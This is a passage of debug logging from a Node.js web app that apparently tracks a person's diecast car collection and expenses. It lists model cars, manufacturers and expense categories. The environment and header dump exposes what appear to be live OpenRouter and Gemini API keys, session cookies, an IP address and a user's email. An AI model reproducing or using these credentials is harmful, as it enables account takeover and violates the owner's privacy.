    distinct: true
  }
}
2026-02-03T12:35:41.656Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 115,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 100 },
    current: 1,
    total: 5
  },
  data: [
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini CoutachLP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 110,
      model_name: 'Volvo FMX low bed truck Trailor',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-16T18:30:00.000Z',
      price: '750.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 109,
      model_name: 'Volvo excavator EC950F',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-24T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-03T12:35:41.657Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-03T12:36:20.983Z server-connect:router Serving templateView /diecast
2026-02-03T12:36:20.984Z server-connect:app Executing action step identify
2026-02-03T12:36:20.984Z server-connect:app options: { provider: 'security' }
2026-02-03T12:36:20.984Z server-connect:output identity: 1
2026-02-03T12:36:20.984Z server-connect:app Executing action step restrict
2026-02-03T12:36:20.984Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-03T12:36:20.985Z server-connect:output restrict: undefined
2026-02-03T12:36:20.985Z server-connect:router Render template layouts/main
2026-02-03T12:36:20.985Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-03T12:36:23.296Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-03T12:36:23.298Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-03T12:36:23.299Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-03T12:36:23.301Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-03T12:36:23.302Z server-connect:app Executing action step identify
2026-02-03T12:36:23.302Z server-connect:app options: { provider: 'security' }
2026-02-03T12:36:23.302Z server-connect:output identity: 1
2026-02-03T12:36:23.302Z server-connect:app Executing action step restrict
2026-02-03T12:36:23.302Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:36:23.304Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-03T12:36:23.304Z server-connect:output restrict: undefined
2026-02-03T12:36:23.304Z server-connect:app Executing action step select
2026-02-03T12:36:23.304Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-03T12:36:23.305Z server-connect:app Executing action step identify
2026-02-03T12:36:23.305Z server-connect:app options: { provider: 'security' }
2026-02-03T12:36:23.305Z server-connect:output identity: 1
2026-02-03T12:36:23.305Z server-connect:app Executing action step restrict
2026-02-03T12:36:23.305Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:36:23.307Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-03T12:36:23.308Z server-connect:app Executing action step identify
2026-02-03T12:36:23.309Z server-connect:app options: { provider: 'security' }
2026-02-03T12:36:23.309Z server-connect:output identity: 1
2026-02-03T12:36:23.309Z server-connect:app Executing action step restrict
2026-02-03T12:36:23.309Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:36:23.310Z server-connect:output restrict: undefined
2026-02-03T12:36:23.310Z server-connect:app Executing action step single
2026-02-03T12:36:23.310Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-03T12:36:23.311Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-03T12:36:23.313Z server-connect:app Executing action step identify
2026-02-03T12:36:23.313Z server-connect:app options: { provider: 'security' }
2026-02-03T12:36:23.313Z server-connect:output identity: 1
2026-02-03T12:36:23.313Z server-connect:app Executing action step restrict
2026-02-03T12:36:23.313Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:36:23.314Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-03T12:36:23.315Z server-connect:app Executing action step identify
2026-02-03T12:36:23.315Z server-connect:app options: { provider: 'security' }
2026-02-03T12:36:23.315Z server-connect:output identity: 1
2026-02-03T12:36:23.315Z server-connect:app Executing action step restrict
2026-02-03T12:36:23.315Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:36:23.318Z server-connect:output restrict: undefined
2026-02-03T12:36:23.318Z server-connect:app Executing action step select
2026-02-03T12:36:23.318Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
